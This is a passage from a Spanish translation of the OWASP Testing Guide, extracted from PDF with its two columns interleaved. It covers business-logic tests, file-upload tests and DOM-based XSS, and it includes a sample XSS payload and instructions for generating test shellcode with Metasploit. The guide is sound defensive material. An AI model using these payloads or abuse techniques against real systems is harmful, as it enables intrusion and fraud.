OWASP Zed Attack Proxy (ZAP): owasp.org
Mtodo de prueba especfica 1
Usando una proxy capture cualquier trfico de HTTP en bsqueda de ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar para
campos ocultos. encontrar vulnerabilidades en aplicaciones web. Est diseada para ser utilizada por
personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetracin. ZAP ofrece escneres automatizados, as como un conjunto de
Si encuentra un campo oculto, vea cmo este campo se compara con la herramientas que permiten encontrar las vulnerabilidades de seguridad
aplicacin GUI e interrogue a este valor mediante el proxy, presentando manualmente..
diferentes valores, tratando de eludir los procesos del negocio y
manipulando los valores a los que no debera tener acceso.
Referencias

285
Implementing Referential Integrity and Shared Business Logic in a RDB: acuerdo a eso, cambiar el comportamiento basado en esa expectativa y
agiledata.org "jugarle al sistema".
On Rules and Integrity Constraints in Database Systems: comp.nus.edu.sg Ejemplo
Ejemplo 1
Use referential integrity to enforce basic business rules in Oracle: Los videos de juegos de azar/tragamonedas pueden tardar ms tiempo en
techrepublic.com procesar una transaccin antes de realizar un desembolso fuerte. Esto
permitira a los jugadores astutos apostar cantidades mnimas hasta que vean
el tiempo de proceso largo que los hara apostar el mximo.
Maximizing Business Logic Reuse with Reactive Logic:

architects.dzone.com
Ejemplo 2
Tamper Evidence Logging - http://tamperevident.cs.rice.eduLogging.html
Muchos procesos de registro de sistema solicitan el nombre de usuario y la
contrasea. Si usted mira de cerca, podr ver que ingresar un nombre de
usuario y una contrasea no vlidos requiere ms tiempo para devolver un
Remediacin error que ingresar un nombre de usuario vlido y una contrasea no vlida.
Esto puede permitir al atacante saber si tienen un nombre de usuario vlido y
La aplicacin debe ser lo suficientemente inteligente como para comprobar no necesitan confiar en el mensaje de GUI.
las ediciones relacionales y no permitir a los usuarios enviar informacin
directamente al servidor sin que sta se haya validado, simplemente porque
vino desde controles no editables o porque el usuario no est autorizado a
enviar desde la seccin de acceso pblico. Adems, cualquiera de los Ejemplo 3
componentes que se puede editar debe tener mecanismos para prevenir la
escritura o actualizacin accidental/intencional. La mayora de arenas o agencias de viajes tienen aplicaciones que permiten a
los usuarios comprar boletos y reservar asientos. Cuando el usuario solicita
los boletos, los asientos se bloquean o reservan quedando pendientes de
pago. Qu pasara si un atacante sigue reservando asientos, pero no sale del
Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) sistema? Se liberarn los asientos, o no se vendern los boletos? Algunos
proveedores de boletos ahora slo permiten a los usuarios tomarse cinco
Resumen minutos para completar una transaccin o se invalida la transaccin.
Es posible que los atacantes puedan recopilar informacin sobre una

aplicacin controlando el tiempo que le toma para completar una tarea o dar
una respuesta. Adems, los atacantes pueden ser capaces de manipular y Ejemplo 4
quebrar los flujos de procesos del negocio diseados, simplemente
manteniendo las sesiones activas y no enviando sus transacciones en el Supongamos que un sitio de comercio electrnico de metales preciosos
tiempo "esperado". permite a los usuarios hacer compras con una cotizacin del precio basada en
el precio de mercado vigente en el momento que inicia la sesin. Qu
pasara si un atacante inicia la sesin y realiza un pedido y no completa la
transaccin hasta ms tarde en el da cundo el precio de los metales ha
Las vulnerabilidades de la lgica de sincronizacin de procesos son nicas, subido? El atacante conseguir el precio bajo inicial?
porque en estos casos manuales de mal uso deben crearse considerando la
ejecucin y sincronizacin de transacciones que son especficas de cada
aplicacin/sistema.
Cmo probar
Revise la documentacin del proyecto y utilice pruebas exploratorias en

El tiempo de procesamiento puede dar/fugar informacin sobre lo que se bsqueda de la funcionalidad del sistema/aplicacin que pueda ser afectado
hace en los procesos ocultos del sistema/aplicacin. Si una aplicacin por el tiempo, como puede ser el tiempo de ejecucin o acciones que ayuden
permite a los usuarios adivinar cul ser el siguiente resultado en particular a los usuarios a predecir un resultado futuro o le permitan eludir cualquier
al procesar las variaciones de tiempo, los usuarios podrn ajustar y, de parte de la lgica del negocio o flujo de trabajo. Por ejemplo, no completar
las transacciones en un tiempo esperado.

286
aplicaciones pueden tener un plan de suscripcin y slo permitir a los

usuarios descargar tres documentos completos por mes.
Desarrolle y ejecute los casos de mal uso ;asegrese de que los atacantes no
puedan ganar una ventaja basada en cualquier tiempo.
Las vulnerabilidades relacionadas con la prueba de los lmites de la funcin

son de aplicacin especfica y se deben crear casos de uso indebido que se
Casos de prueba relacionados esfuercen por probar las partes de las aplicaciones/funciones o acciones ms
veces de las permitidas.
Pruebas de los atributos de las cookies (OTG-SESS-002)
Los atacantes pueden ser capaces de eludir la lgica del negocio y ejecutar
Pruebas del tiempo de cierre de sesin (OTG-SESS-007) una funcin ms veces que las "permitidas" al explotar la aplicacin para
obtener beneficios personales.
Referencias
Ejemplo
Ninguna
Supongamos que un sitio de comercio electrnico permite a los usuarios
aprovechar alguno de los muchos descuentos en su compra total y luego
proceder a salir y licitar. Qu sucede si el atacante navega a la pgina de
Remediacin descuentos despus de tomar y aplicar el descuento "admisible"? Pueden
tomar ventaja de otro descuento? Pueden tomar ventaja del mismo
Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los descuento varias veces?
atacantes pueden obtener algn tipo de ventaja al conocer los diferentes
tiempos de procesamiento y los resultados, agregue pasos adicionales para
que, sin importar los resultados, se proporcione el mismo marco de tiempo
de procesamiento. Cmo probar
Revise la documentacin del proyecto y utilice pruebas exploratorias en

busca de funciones o caractersticas de la aplicacin o sistema que no deban
Adems, el sistema/aplicacin debe tener mecanismos que no permitan a los ser ejecutadas ms de una vez o un nmero especifico de veces durante el
atacantes extender las operaciones sobre una cantidad "aceptable" de tiempo. flujo de la lgica del negocio.
Esto se puede hacer mediante la cancelacin o reinicio de las transacciones
despus de un perodo de tiempo determinado, como algunos vendedores de
boletos estn hacindolo ahora.
Para cada una de las funciones y caractersticas que slo debe ejecutarse una
vez o un nmero especifico de veces durante el flujo de la lgica del
negocio, desarrolle casos de abuso/mal uso que pueden permitir a un usuario
Prueba del nmero de veces que limita el uso de una funcin (OTG- ejecutar ms veces del nmero permitido. Por ejemplo, un usuario puede
BUSLOGIC-005) navegar hacia atrs y hacia adelante varias veces a travs de las pginas y
ejecutar una funcin que debera ejecutarse slo una vez? Un usuario puede
Resumen cargar y descargar los carros de compras para obtener descuentos
adicionales?.
Muchos de los problemas que estn resolviendo las aplicaciones requieren
lmites al nmero de veces que se puede utilizar una funcin o se puede
ejecutar una accin. Las aplicaciones deben ser lo "suficientemente
inteligentes" para no permitir que el usuario exceda su lmite en el uso de Casos de prueba relacionados
estas funciones ya que, en muchos casos, cada vez que se utiliza la funcin,
el usuario puede obtener algn tipo de beneficio que debe ser anotado para Pruebas de enumeracin de cuentas y adivinanza de cuentas de usuario
compensar acertamente al propietario. (OTG-IDENT-004)
Por ejemplo: Un sitio de comercio electrnico slo puede permitir que los Pruebas para determinar un mecanismo de bloqueo dbil (OTG-AUTHN-
usuarios apliquen un descuento una vez por cada transaccin, o algunas 003)

287
y se deben desarrollar cuidadosamente casos de mal uso manuales; deben

desarrollarse usando los requisitos y casos de uso.
Referencias
InfoPath Forms Services business logic exceeded the maximum limit of

operations Rule: mpwiki.viacode.com El proceso de negocio de las aplicaciones debe tener controles para asegurar
que las transacciones/acciones del usuario sucedan en el orden
correcto/aceptable y, si una transaccin provoca algn tipo de accin, que
esa accin se "deshaga" y se retire si la transaccin no se ha completado con
Gold Trading Was Temporarily Halted On The CME This Morning: xito.
businessinsider.com
Ejemplos
Remediacin
Ejemplo 1
La aplicacin debe tener controles para asegurar que se sigue la lgica del
negocio y si una funcin/accin slo puede ejecutarse un cierto nmero de Muchos de nosotros recibimos algn tipo de "puntos de club/fidelidad" por
veces y, cuando se alcanza el lmite, el usuario no puede ejecutar la funcin. las compras en supermercados y gasolineras. Supongamos que un usuario
pudo iniciar una transaccin vinculada a su cuenta y luego, despus de
agregar puntos a su cuenta de club/lealtad, cancela la transaccin o quita
elementos de su "canasta" y licita.
Para evitar que los usuarios usen una funcin ms veces de las adecuadas, la
aplicacin puede utilizar mecanismos tales como cookies para contabilizar o
mediante sesiones, que no permitan a los usuarios acceder a ejecutar la
funcin ms veces. En este caso, el sistema no debe aplicar puntos/crditos a la cuenta hasta que
se licita o los puntos/crditos deben "deshacerse" si el incremento de
puntos/crdito no coinciden con la oferta final. Con esto en mente, un
atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de
Pruebas para la evasin de los flujos de trabajo (OTG-BUSLOGIC-006) puntos sin realmente comprar algo.
Resumen
Las vulnerabilidades del flujo de trabajo incluyen cualquier tipo de Ejemplo 2

vulnerabilidad que permite al atacante hacer mal uso de una aplicacin o
sistema de una manera que les permita evadir (no seguir) el flujo de trabajo Un sistema de tablero de anuncios electrnicos puede estar diseado para
diseado/deseado. garantizar que los mensajes iniciales no contengan groseras sobre la base de
una lista con la que se compara la nota. Si una palabra de la "lista negra" se
encuentra en el texto ingresado por el usuario, la presentacin no se publica.
Pero, una vez que se registra la carga, el remitente puede acceder, editar y
Un flujo de trabajo consiste en una secuencia de pasos conectados, donde cambiar el contenido de la nota para aumentar palabras incluidas en la lista
cada paso sigue sin retraso o diferencia y termina justo antes de que pueda de malas palabras/negra ya que al editar la publicacin nunca se compara
empezar el paso siguiente Es una representacin de una secuencia de nuevamente. Considerando esto, los atacantes pueden abrir un debate inicial
operaciones, declarada como trabajo de una persona o grupo, una en blanco o mnimo y, luego, aadir lo que quiera como una actualizacin.
organizacin de personal o uno o ms mecanismos simples o complejos. El
flujo de trabajo puede ser visto como cualquier abstraccin del trabajo real.
(https://en.wikipedia.org/wiki/Workflow) Cmo probar
Mtodo de prueba genrico
La lgica del negocio de la aplicacin debe pedir al usuario que complete los Revise la documentacin del proyecto y utilice pruebas exploratorias en
pasos especficos en el orden correcto/especfico y si el flujo de trabajo se busca de mtodos para saltar o ir a otros pasos en el proceso de la aplicacin,
termina sin completarse correctamente, todas las acciones que gener se en un orden diferente del flujo de la lgica del negocio diseado/esperado.
"deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasin de
los flujos de trabajo o el saltarse el flujo de trabajo de la lgica del negocio
correcto son nicas ya que son muy especficas para cada sistema/aplicacin

288
Para cada mtodo, desarrolle un caso de mal uso y trate de evitar o realizar Prueba de comprobacin de integridad (OTG-BUSLOGIC-003)
una accin que sea "inaceptable" por el flujo de trabajo de la lgica del
negocio.
Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004)
Mtodo de prueba especfico 1
Inicie una transaccin dentro de la aplicacin hasta pasar los puntos que Prueba del nmero de veces que limita el uso de una funcin (OTG-
disparan los crditos/puntos hacia la cuenta del usuario. BUSLOGIC-005)
Cancele la transaccin o reduzca la oferta final de manera que los valores Prueba de las defensas contra el mal uso de la aplicacin (OTG-
del punto deban ser disminuidos y compruebe el sistema de puntos/crdito BUSLOGIC-007)
para asegurarse que se registraron los puntos/crditos adecuados.
Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-

Mtodo de prueba especfico 2 BUSLOGIC-008)
En un administrador de contenidos o sistema de tablero de anuncios, entre y

guarde texto inicial o valores vlidos.
Prueba de la posibilidad de carga de archivos maliciosos (OTG-
BUSLOGIC-009)
Luego intente aadir, editar y eliminar datos que dejaran a los datos
existentes en un estado invlido o con valores invlidos para asegurar que al
usuario no le est permitido guardar la informacin incorrecta. Algunos datos Referencias
o informacin "no vlidos" pueden ser palabras especficas (palabras soeces)
o temas especficos (por ejemplo, cuestiones polticas). OWASP Detail Misuse Cases: owasp.org
Casos de prueba relacionados Real-Life Example of a Business Logic Defect:
infosecisland.com
Probar la inclusin de archivos de directorio de circulacin (OTG-AUTHZ-

001)
Top 10 Business Logic Attack Vectors Attacking and Exploiting Business
Application Assets and Flaws Vulnerability Detection to Fix:
ntobjectives.com
Pruebas para eludir el esquema de autorizacin (OTG-AUTHZ-002)
CWE-840: Business Logic Errors: cwe.mitre.org

Pruebas del esquema de gestin de sesin (OTG-SESS-001)
Remediacin
Prueba de la validacin de datos de la lgica del negocio (OTG-
BUSLOGIC-001) La aplicacin debe ser autoconsciente y tener comprobaciones localizadas
que aseguren que los usuarios completen cada paso del proceso del flujo de
trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan
los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) de trabajo implica el desarrollar casos de abuso/mal uso de la lgica del
negocio con el objetivo de completar el proceso de negocio al no completar
los pasos correctos en el orden correcto.
289
Prueba de las defensas contra el mal uso de la aplicacin (OTG- Si la aplicacin no responde de ninguna manera y el atacante puede
BUSLOGIC-007) continuar abusando de la funcionalidad y envia contenido claramente
malicioso hacia la aplicacin, la aplicacin ha fallado este caso de prueba. En
Resumen la prctica, es poco probable que las acciones discretas del ejemplo anterior
sucedan as. Es mucho ms probable que una herramienta de fuzzing se
El mal uso y uso no vlido de una funcionalidad vlida pueden identificar utilice para identificar las debilidades de cada parmetro a la vez. Esto es lo
ataques que trata de enumerar la aplicacin web, identificar las debilidades y que un evaluador de seguridad habr llevado a cabo, tambin.
explotar vulnerabilidades. Deberan realizarse pruebas para determinar si
existen mecanismos defensivos a nivel de la aplicacin para proteger la
aplicacin.
Cmo probar
Esta prueba en que el resultado puede obtenerse de todas las pruebas

La falta de defensas activas permite que un atacante cace las realizadas contra la aplicacin web es inusual. Al realizar todas las pruebas,
vulnerabilidades sin necesitar de recurrir a ellas. As, el propietario de la tome nota de las medidas que indiquen que la aplicacin tiene un sistema de
aplicacin no sabr que su aplicacin est bajo ataque. autodefensa incorporado:
Ejemplo Respuestas cambiadas
Un usuario autenticado sigue la siguiente secuencia de acciones (poco Solicitudes bloqueadas

probables):
Acciones que desconectan al usuario o bloquean la cuenta del usuario
[1] Intenta acceder a un identificador de archivo que su rol de usuario no

permite descargar. Estas slo pueden ser localizadas. Las defensas comnmente localizadas
(por funcin) son:
[2] Sustituye una comilla simple () en lugar del nmero de identificacin del
archivo.
[3] Altera una solicitud GET convirtindola en POST. Rechazar los ingresos que contienen determinados caracteres.
[4] Agrega un parmetro extra. Bloquear una cuenta temporalmente despus de una serie de fallos de
autenticacin.
[5] Duplica el parmetro de la pareja nombre/valor.
Los controles de seguridad localizados no son suficientes. Normalmente no

La aplicacin supervisa el mal uso y responde despus del quinto evento; hay defensas contra el mal uso general tal como:
entonces podramos decir con certeza que el usuario es un atacante. Por
ejemplo, la aplicacin hace lo siguiente: Navegacin forzosa
Evitar la validacin de niveles de entrada de presentacin
Inhabilita la funcionalidad crtica. Controles de errores de accesos mltiples
Activa medidas de autenticacin adicionales para las funciones restantes. Parmetros adicionales de nombres, duplicados o faltantes
Agrega retrasos de tiempo en cada ciclo de peticin-respuesta. Validacin de ingresos mltiples o fallas de verificacin de la lgica del
negocio con valores que no pueden ser el resultado de errores o faltas
Comienza a grabar datos adicionales sobre las interacciones del usuario ortogrficas del usuario
(por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y
cuerpos de respuesta). Recepcin de datos estructurados (por ejemplo, JSON, XML) de un
formato no vlido

290
Se reciben cross-site scripting descarado o cargas de inyecciones SQL
Utilizar la aplicacin ms rpido de lo que debera ser posible sin IR 7684 Common Misuse Scoring System (CMSS), NIST:
herramientas de automatizacin
csrc.nist.gov
Cambio en la geo-localizacin continental de un usuario
Cambio de agente de usuario

Common Attack Pattern Enumeration and Classification (CAPEC),The
Acceso a un proceso de negocios de etapas mltiples en el orden incorrecto Mitre Corporation: capec.mitre.org
Un gran nmero o un alto indice de uso de la funcionalidad especfica de la

aplicacin (por ejemplo: presentacin del cdigo del recibo, pagos fallidos
con tarjeta de crdito, carga de archivos, descargas de archivos, registro de OWASP_AppSensor_Project: owasp.org
salidas, etc.).
AppSensor Guide v2, OWASP: owasp.org

Estas defensas funcionan mejor en las partes autenticadas de la aplicacin,
aunque la tasa de creacin de nuevas cuentas o acceso al contenido (por
ejemplo, para raspar informacin) pueden ser de utilidad en las zonas
comunes. Watson C, Coates M, Melton J and Groves G, Creating Attack Aware
Software Applications with Real-Time Defenses, CrossTalk The Journal of
Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011:
crosstalkonline.org
No todos los casos anteriores deben ser monitoreados por la aplicacin, pero
hay un problema si ninguno de ellos lo est. Probando la aplicacin web,
haciendo el tipo de acciones anteriores, hubo alguna respuesta contra el
evaluador? Si no, el evaluador deber informar que la aplicacin parece no Prueba de la posibilidad de carga de tipos de archivos inesperados
tener ninguna aplicacin de defensa activa contra el uso indebido. Tenga en (OTG-BUSLOGIC-008)
cuenta que a veces es posible que todas las respuestas sobre la deteccin de
ataques son silenciosas para el usuario (por ejemplo, cambios del registro, Resumen
mayor monitoreo, alertas a los administradores y uso de proxy), por lo que
no se garantiza la confianza en este hallazgo. En la prctica, muy pocas Muchos procesos del negocio de las aplicaciones permiten la carga y
aplicaciones (o infraestructura relacionada como un cortafuegos de manipulacin de datos que se envan por medio de archivos. Pero el proceso
aplicacin web) detecta estos tipos de mal uso. del negocio debe comprobar los archivos y permitir slo los archivos
"aprobados". Decidir qu archivos deben ser "aprobados" se determina
mediante la lgica del negocio y es especfico del sistema/aplicacin.
Todos los otros casos son relevantes. El riesgo en permitir a los usuarios cargar archivos es que los atacantes
pueden enviar un tipo de archivo inesperado que podra ejecutarse y tener un
impacto adverso sobre la aplicacin o sistema a travs de ataques que pueden
desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos
Herramientas del sistema, navegar en los recursos locales, atacar a otros servidores o
explotar las vulnerabilidades locales, slo para nombrar unos pocos.
El probador puede usar muchas de las herramientas utilizadas para los otros
casos de prueba.
Las vulnerabilidades relacionadas con la carga de los distintos tipos de

archivos inesperados es nica, ya que la carga debe rechazar rpidamente un
Referencias archivo si no tiene una extensin especfica. Adems, esto es diferente de la
carga de archivos maliciosos puesto que, en la mayora de los casos, un
Resilient Software, Software Assurance, US Department formato incorrecto puede no ser inherentemente "malvolo" pero puede ser
perjudicial para los datos guardados. Por ejemplo, si una aplicacin acepta
Homeland Security: buildsecurityin.us-cert.gov archivos de Excel de Windows, si se carga un archivo de base de datos

291
similar puede leerse, pero los datos extrados pueden moverse a lugares En la aplicacin, navegue hasta la presentacin del archivo o el mecanismo
incorrectos. de carga.
La aplicacin puede estar esperando que solamente se carguen ciertos tipos Enve los archivos "no aprobados"para cargar y compruebe que se previene
de archivos para su procesamiento, tales como archivos .CSV o txt. La la carga correctamente.
aplicacin no puede validar el archivo subido por su extensin (para
validacin de archivos de baja seguridad) o contenido (para validacin de
archivos de alta seguridad). Esto puede dar lugar a resultados inesperados
por parte del sistema o la base de datos en el sistema/aplicacin o dar a los Casos de prueba relacionados
atacantes mtodos adicionales para explotar el sistema/aplicacin.
Pruebe el manejo de archivos de extensiones en busca de informacin
sensible (OTG-CONFIG-003)
Ejemplo Prueba de la posibilidad de carga de archivos maliciosos (OTG-

BUSLOGIC-009)
Supongamos que una aplicacin para compartir imgenes permite a los
usuarios cargar un archivo grfico .gif o .jpg en el sitio web. Qu pasara si
un atacante es capaz de subir un archivo html con una etiqueta <script> o un
archivo php? El sistema podra mover el archivo desde una ubicacin Referencias
temporal hacia la ubicacin final donde ahora puede ejecutarse el cdigo php
contra el sistema o aplicacin. OWASP - Unrestricted File Upload: owasp.org
Cmo probar File upload security best practices: Block a malicious file
Mtodo de Prueba Genrico upload: computerweekly.com
Revise la documentacin del proyecto y realice algunas pruebas

exploratorias buscando tipos de archivos que deben aparecer como "no
soportados" por el sistema/aplicacin. Stop people uploading malicious PHP files via forms:
stackoverflow.com
Trate de subir estos archivos "no admitidos" y verifique si son rechazados

correctamente.
CWE-434: Unrestricted Upload of File with Dangerous Type:
cwe.mitre.org
Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
Secure Programming Tips - Handling File Uploads:
Mtodo de Prueba Especfico datasprings.com
Estudie los requisitos lgicos de la aplicacin.
Remediacin
Prepare una biblioteca de archivos "no aprobados" para la carga que puede Las aplicaciones se deben desarrollar con mecanismos para que slo acepte y
contener archivos tales como: archivos jsp, exe o html que contienen scripts. manipule archivos "aceptables" que el resto de funcionalidades de la
aplicacin estn listas y esperando. Algunos ejemplos especficos incluyen:
listas negras o blancas de extensiones de archivo, utilizando el "Content-
Type" del encabezado o usando un reconocedor de tipo de archivo, todo esto
slo permitir tipos de archivo especficos en el sistema.

292
Revise la documentacin del proyecto y realice algunas pruebas

exploratorias mirando el sistema/aplicacin para identificar lo que constituye
Prueba de la posibilidad de carga de archivos maliciosos (OTG- un archivo "malicioso" en su entorno.
BUSLOGIC-009)
Resumen
Desarrolle o consiga un archivo "malicioso" conocido.
Bastantes procesos de negocio dentro de muchas aplicaciones permiten la
carga de informacin. Regularmente verificamos la validez y seguridad del
texto, pero el aceptar archivos puede implicar an ms riesgo. Para reducir el
riesgo slo podemos aceptar determinadas extensiones de archivo, pero los Trate de cargar el archivo malicioso al sistema/aplicacin y verifique si se
atacantes son capaces de encapsular un cdigo malicioso en tipos de archivo lo rechaza correctamente.
inerte. Probar en busca de archivos maliciosos verifica que el
sistema/aplicacin es capaz de protegerse correctamente contra la carga de
archivos maliciosos por parte de los atacantes.
Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
Las vulnerabilidades relacionadas con la carga de archivos maliciosos son

nicas; en ellas, estos archivos "maliciosos" pueden ser rechazados
fcilmente mediante la inclusin de una lgica del negocio que analiza los Mtodo de Prueba Especfico1
archivos durante el proceso de carga y rechaza aquellos percibidos como
maliciosos. Adicionalmente, esto difiere de la carga de archivos inesperados Utilizando la funcionalidad de carga Metasploit,genere un shellcode similar
en que, mientras el tipo de archivo puede ser aceptado, el archivo todava a un ejecutable de Windows; utilice el comando Metasploit msfpayload.
puede ser malicioso para el sistema. Por ltimo, "malicioso" tiene distintos
significados segn el sistema. Por ejemplo, archivos maliciosos que pueden
explotar vulnerabilidades del servidor SQL pueden no ser considerados "
maliciosos" en un entorno de archivos planos del procesador central. Enve el ejecutable mediante la funcionalidad para cargar la aplicacin y
compruebe si es aceptada o se previene la carga correctamente.
La aplicacin puede permitir la carga de archivos maliciosos que incluyen

explotaciones o shellcode sin someterlos a un anlisis de archivos Mtodo de Prueba Especfico 2
maliciosos. Los archivos maliciosos pueden detectarse y detenerse en varios
Desarrolle o cree un archivo que debe fallar en el proceso de deteccin de
puntos de la arquitectura de la aplicacin, tales como: IPS/IDS, software
malware de la aplicacin. Hay muchos disponibles en Internet tales como
antivirus para servidor de aplicaciones o anlisis antivirus por cada
ducklin.htm o ducklin-html.htm.
aplicacin, a medida que se cargan los archivos (tal vez descargando el
anlisis mediante SCAP).
Enve el ejecutable mediante la funcionalidad para cargar la aplicacin y

compruebe si es aceptada o se previene la carga correctamente.
Ejemplo
Supongamos que una aplicacin para compartir imgenes permite a los

usuarios cargar un archivo grfico .gif o .jpg en el sitio web. Qu pasara si
Mtodo de prueba especfico 3
un atacante es capaz de subir un PHP shell, o archivo exe o virus? El
atacante entonces podra cargar un archivo que puede ser guardado en el
Configure el proxy interceptor para que capture la solicitud vlida de un
sistema y el virus se puede reproducir por s mismo o a travs de procesos
archivo aceptado.
remotos, y archivos .exe o shell code puede ejecutarse.
Enve una solicitud invlida mediante una extensin de archivo

Cmo probar
vlido/aceptable y observe si la solicitud es aceptada o rechazada
adecuadamente.
Mtodo de prueba Genrico

293
infosecauditor.wordpress.com
Pruebe el Manejo de Archivos de Extensiones en busca de informacin

sensible (OTG-CONFIG-003)
Watchful File Upload: palizine.plynt.com
Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-
BUSLOGIC-008)
Matasploit Generating Payloads: offensive-security.com
Herramientas
Metasploits payload generation functionality Project Shellcode - Shellcode Tutorial 9: Generating
Shellcode Using Metasploit: projectshellcode.com
Intercepting proxy
Anti-Malware Test file: eicar.org
Referencias
OWASP - Unrestricted File Upload: owasp.org Remediacin
Aunque las salvaguardias como las listas negra o blanca de las extensiones
de archivo, que utilizan el "Content-Type" como encabezado o que usan un
Why File Upload Forms are a Major Security Threat: reconocedor de tipo de archivo no sean siempre protecciones contra este tipo
de vulnerabilidad, cada aplicacin que acepta archivos de usuarios debe tener
www.acunetix.com un mecanismo para verificar que el archivo no contiene un cdigo malicioso.
Nunca deben guardarse archivos donde los usuarios o los atacantes pueden
acceder directamente a ellos.
File upload security best practices: Block a malicious file upload:
computerweekly.com Probando el lado del cliente
Probar el lado del cliente se refiere a la ejecucin de cdigo en el cliente,

normalmente nativo en un navegador web o plugin de navegador. La
Overview of Malicious File Upload Attacks: securitymecca.com ejecucin de cdigo en el lado del cliente es distinta a ejecutarla en el
servidor y devolver el contenido posterior.
Prueba del Cross site scripting basado en DOM (OTG-CLIENT-001)

Stop people uploading malicious PHP files via forms :
Resumen
stackoverflow.com
Cross site scripting basado en DOM es el nombre de facto para errores XSS
que son el resultado del contenido activo del lado del navegador en una
pgina, generalmente JavaScript, que obtiene ingresos del usuario y luego
How to Tell if a File is Malicious: techsupportalert.com hace algo inseguro, lo que lleva a la ejecucin de cdigo inyectado. Este
documento slo habla de errores de JavaScript que conducen a XSS.
CWE-434: Unrestricted Upload of File with Dangerous Type:

El DOM o Modelo de Objeto del Documento (Document Object Model) es el
cwe.mitre.org formato estructural utilizado para representar documentos en un navegador.
El DOM permite scripts dinmicos como JavaScript para referenciar los
componentes del documento como un campo de formulario o una cookie de
sesin. El DOM tambin se utiliza en el navegador por seguridad - por
Implementing Secure File Upload:

294
ejemplo, para limitar a los scripts de dominios distintos el obtener las navegador, este se ejecuta directamente en el navegador del usuario sin contacto del
cookies de sesin desde otros dominios. Una vulnerabilidad XSS basada en servidor.
DOM ocurre cuando se modifica el contenido activo, como una funcin de
JavaScript; se modifica con una solicitud especialmente diseada, tal como
un elemento DOM que puede ser controlado por un atacante.
Las consecuencias de las fallas XSS basadas en DOM son tan extensas como
las vistas en formas ms conocidas de XSS, incluyendo la recuperacin de la
cookie, inyeccin de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas
Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe con la misma importancia.
muy poca estandarizacin de su significado y pruebas formales.

Cmo probar
La prueba de Caja Negra para XSS basado en DOM no se realiza
No todos los errores XSS requieren que el atacante controle el contenido habitualmente, ya que el acceso al cdigo fuente siempre est disponible y debe
devuelto por el servidor, pero tambin puede abusar de las prcticas de una enviarse al cliente para que se ejecute.
codificacin JavaScript pobre para lograr los mismos resultados. Las
consecuencias son las mismas que un fallo XSS tpico, slo que los medios
de entrega son diferentes. En comparacin con otras vulnerabilidades de
cross site scripting (XSS reflejados y almacenados) donde un parmetro no Prueba de Caja Gris
desinfectado se pasa al servidor, es devuelto al usuario y se ejecuta en el
contexto del navegador del usuario, una vulnerabilidad XSS basada en DOM Probando las vulnerabilidades de XSS basadas en DOM:
controla el flujo del cdigo mediante el uso de elementos del Modelo de
Objeto del Documento (DOM) junto con el cdigo creado por el atacante Las aplicaciones JavaScript difieren significativamente de otros tipos de
para cambiar el flujo. aplicaciones, ya que se generan a menudo de manera dinmica por el servidor y,
para entender qu cdigo est siendo ejecutado, el sitio web que estamos probando
debe ser rastreado para determinar todas las instancias de ejecucin de JavaScript
donde se aceptan ingresos del usuario. Muchos sitios web se apoyan en grandes
Debido a su naturaleza, las vulnerabilidades XSS basadas en DOM pueden libreras de funciones, que a menudo se extienden en cientos de miles de lneas de
realizarse, en muchos casos, sin que el servidor pueda determinar lo que cdigo y no se han desarrollado en la empresa. En estos casos, la prueba de arriba
realmente est ejecutndose. Esto hace que muchas de las tcnicas de para abajo se convierte en la nica opcin viable, puesto que nunca se usan
filtracin y deteccin general de XSS sean impotentes a este tipo de ataques. muchas funciones de nivel inferior, y analizarlas para determinar cules son sinks
utiliza ms tiempo del disponible. Lo mismo se puede decir tambin de las
pruebas de arriba hacia abajo si la entradas o falta de ellas no se identifican.
El primer ejemplo hipottico utiliza el siguiente cdigo del lado cliente:
<script> El ingreso del usuario viene en dos formas principalmente:
document.write(Site is at: + document.location.href + .);
</script> Entradas escritas en la pgina por el servidor, de una manera que no permite XSS
directo.
Entradas obtenidas de objetos JavaScript del lado del cliente.

Un atacante puede anexar # <script>alert(xss)</script> a la URL de la
pgina afectada que, cuando se ejecuta, mostrar el cuadro de alerta. En este
caso, el cdigo anexado no se enviara al servidor como todo lo que est
despus del carcter # que no se trata como parte de la consulta por parte del Estos son dos ejemplos de cmo el servidor puede insertar datos en JavaScript:
navegador, sino como un fragmento.
var data = <escaped data from the server>;
var result = someFunction(<escaped data from the server>);

En este ejemplo, el cdigo se ejecuta inmediatamente y aparece una alerta de "xss"
en la pgina. A diferencia de los tipos ms comunes de cross site scripting
(almacenado y reflejado) en que se enva el cdigo al servidor y luego al
Y aqu estn dos ejemplos de entrada de objetos de JavaScript del lado del cliente:

295
var data = window.location; {
var result = someFunction(window.referer); document.write(You are using an unknown browser.);
Aunque hay poca diferencia con el cdigo JavaScript en cmo se recuperan, es </script>
importante tener en cuenta que cuando la entrada es recibida por el servidor, el
servidor puede aplicar cualquier permutacin a los datos que desea, mientras que
las permutaciones realizadas por objetos de JavaScript son bastante claras y
documentadas y, si es as, someFunction en el ejemplo anterior fuera un sink, Por esta razn, las pruebas automatizadas no detectarn las reas susceptibles a XSS
entonces la explotabilidad del primero dependera de la filtracin realizada por el basado en DOM, a menos que la herramienta de prueba pueda realizar un anlisis
servidor, mientras que el segundo dependera de la codificacin realizada por el adicional del cdigo del lado cliente.
explorador en el objeto window.referer.
Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando
Stefano Di Paulo ha escrito un excelente artculo sobre lo que los navegadores las reas en el cdigo donde se conocen los parmetros que pueden ser utiles para un
